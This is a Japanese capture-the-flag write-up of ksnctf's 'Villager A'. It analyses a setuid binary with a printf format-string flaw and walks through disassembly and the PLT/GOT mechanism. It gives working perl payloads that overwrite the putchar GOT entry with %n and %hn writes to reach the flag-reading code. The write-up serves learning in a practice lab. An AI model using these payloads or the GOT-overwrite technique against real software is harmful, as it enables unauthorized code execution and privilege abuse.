[ksnctf] Villager A

ksnctfにチャレンジ
第4問目です。

※ksnctfは常駐型のCTFサイトです。
※問題のページはコチラです。

Villager A

まず指定されたサーバーにSSHで接続します。

$ssh  ctfq.sweetduet.info -p 10022 -l q4

ログインして ls すると 3つのデータが確認します。
flag.txt が今回の目標ですが、当然許可がないため開けません。

-r--------.  1 q4a  q4a    80  6月 24 11:05 2016 flag.txt
-rwsr-xr-x.  1 q4a  q4a  5857  5月 22 11:21 2012 q4
-rw-r--r--.  1 root root  151  6月  1 04:47 2012 readme.txt

q4が今回の攻撃対象で suid のビットが付いているのがわかります。
よって q4 の脆弱性を使って flag.txt を読みだせば良さそうです。

早速 q4 を実行してみると

[q4@localhost ~]$ ./q4
What's your name?
tester
Hi, tester

Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.

no が入力されるまでループするみたいです。
怪しいのは最初に名前を聞かれるところだと思います。

試しに 名前として %x を入力してみると

[q4@localhost ~]$ ./q4
What's your name?
%x
Hi, 400

なるほど、フォーマットストリングス攻撃が可能なようです。

>参考

ログイン中のシステムは objdump コマンドが使えるようなので
早速 q4 をディスアセンブルしました。
まずは main() で呼ばれているライブラリ関数は

$ objdump -D ./q4

まず

 80485dd:   8d 44 24 18             lea    0x18(%esp),%eax       -|
 80485e1:   89 04 24                mov    %eax,(%esp)            |  fgets()で名前を訪ねて
 80485e4:   e8 9b fe ff ff          call   8048484 <fgets@plt>   -|
 80485e9:   c7 04 24 b6 87 04 08    movl   $0x80487b6,(%esp)     … "Hi," 
 80485f0:   e8 bf fe ff ff          call   80484b4 <printf@plt>  … 表示
 80485f5:   8d 44 24 18             lea    0x18(%esp),%eax       -|
 80485f9:   89 04 24                mov    %eax,(%esp)            |  ここで名前を表示
 80485fc:   e8 b3 fe ff ff          call   80484b4 <printf@plt>  -|

ここが脆弱性部分です。
一度目の printf() が Hi, と表示して 2度目の printf()で聞いたばかりの名前を
返すわけですが、 fgets で取得したポインタをそのまま渡していることがわかります。
教科書的な(?)フォーマットストリングス攻撃が可能な形です。

つぎに

 804860d:   c7 84 24 18 04 00 00    movl   $0x1,0x418(%esp)
        ~ ~ ~ ~ ~
 8048681:   8b 84 24 18 04 00 00    mov    0x418(%esp),%eax
 8048688:   85 c0                   test   %eax,%eax
 804868a:   0f 95 c0                setne  %al
 804868d:   84 c0                   test   %al,%al
 804868f:   75 89                   jne    804861a <main+0x66>
 8048691:   c7 44 24 04 e6 87 04    movl   $0x80487e6,0x4(%esp)

ここに注目します。
0x418(%esp)に 1 がセットされています。
その0x418(%esp) から %eax に値が移されているので今
%eax = 1 です。
そして
test %eax,%eax

if( (%eaxAND%eax) == 0) ZF = 1;
else                    ZF = 0;

こんな意味の命令です。
今%eax = 1なので ゼロフラグが 0 になります。

setne は Set if Not Equal という命令で ゼロフラグの反転を得る命令です。
よって
%al = 1 となります。
この %al でまた test 命令を行うので結果は同じです。

つまり

804868f:    75 89                   jne    804861a <main+0x66>

ここにたどり着くとき ゼロフラグはいつも 0 であり、
この jne 命令で 毎回 main+0x66 に飛ばされ、
Do you want the flag からの処理がループする仕組みになっているわけです。

つまりこの jne 命令を超えて
0x8048691 に到達できれば 直後に fopen() が呼ばれており、
flagを表示してくれるはずです。

1つ思いつくのは
ループに陥る諸悪の根源たる 0x418(%esp) に 0 を書き込むことですが、
今回の環境では ASLRが有効で フォーマットストリングス攻撃を行うタイミングと
かなり離れた位置で値がセットされているので普通には上手く行きません。
よってこの案はボツとします。

次に 0x804869 にジャンプすることを試みます。
攻撃には PLT を踏み台として用います。

PLTは Procedure Linkage Table といって
共有ライブラリ内の関数へ call するとき 直接アドレスを呼ぶのではなくて
一度 .plt セクション内を経由して呼び出す方法で、
共有ライブラリがどこにロードされていても PLT とPLTが読みだす GOT がよろしく
設定されていると実行時にアドレスが解決できますよ という仕組みです。
この仕組みを利用してPLTを書き換えることで 共有ライブラリを呼んだつもりが
任意のアドレスにジャンプさせます。

と、その前に
攻撃対象の関数を選定しなくてはいけません。
今回は脆弱性のある部分の直後にわざとらしく

 8048608:   e8 67 fe ff ff          call   8048474 <putchar@plt>

putchar() を読んでいるのでこれを利用しましょう。

.plt セクション 抜粋

Disassembly of section .plt:

08048474 <putchar@plt>:
 8048474:   ff 25 e0 99 04 08       jmp    *0x80499e0
 804847a:   68 08 00 00 00          push   $0x8
 804847f:   e9 d0 ff ff ff          jmp    8048454 <_init+0x30>

これが PLTの putchar です。
jmp *0x80499e0 は 0x80499e0に記録されているアドレスに飛べ という命令です。
INTEL記法なら
jmp DWORD PTR ds:0x80499e0
と表示されるハズです。

0x80499e0 はGOTと呼ばれる領域周辺のアドレスでここに
実行時にアドレス解決された putchar()本体のアドレスが記録されているわけです。

というわけでここまでを総合すると

アドレス0x80499e0に 値0x8048691 を書き込んでおくと
putchar() 関数が呼ばれたときに 本来の libcの putchar() ではなく
目的のアドレスにジャンプする。

というわけです。

ここまでわかればあとはちょっとした計算を行うだけです。
0x8048691 は 10進数では 134514321 で
目標アドレスの 0x80499e0 を入力するのに
\xe0\x99\x04\x08 の4文字分を使用するので

134514321 - 4 = 134514317

残り 134514317文字分表示した上で %n を使えば必要な値が書き込まれます。

ちなみに

[q4@localhost ~]$ ./q4
What's your name?
ABCD%x.%x.%x.%x.%x.%x.

Hi, ABCD400.cfa440.8.14.64dfc4.44434241.

この実験からわかるように
スタックの6段目に文字列の先頭が格納されているようなので

$ perl -e 'print "\xe0\x99\x04\x08%134514317c%6\$n"'| ./q4

これでいけそうな気がします。
が、空白文字を 13451431文字分も表示するのは気が引けるので
2バイトや1バイトごとに分割することでもできます。
例えば2分割する場合
スタックの6番目と7番目を使いたいので
0x80499e0
0x80499e2
をそれぞれセットして、上位・下位の2バイトを書き込めば文字数稼ぎに必要な
幅が小さくなるのでもうすこし速く攻撃が通ります。

$ perl -e 'print "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441c%6\$hn%33139c%7\$hn"'| ./q4

このように 2バイトずつ書き込めます。
パラメータ h は精度は落とす命令で 4byte -> 2byte のshort幅にしています。
>参考 printf自作してみる

累計文字表示数は増えていくのできっちりの数値を作れないこともありますが
溢れても問題ないので下2桁のみ考慮して数値を決めれば問題ありません。

コメントする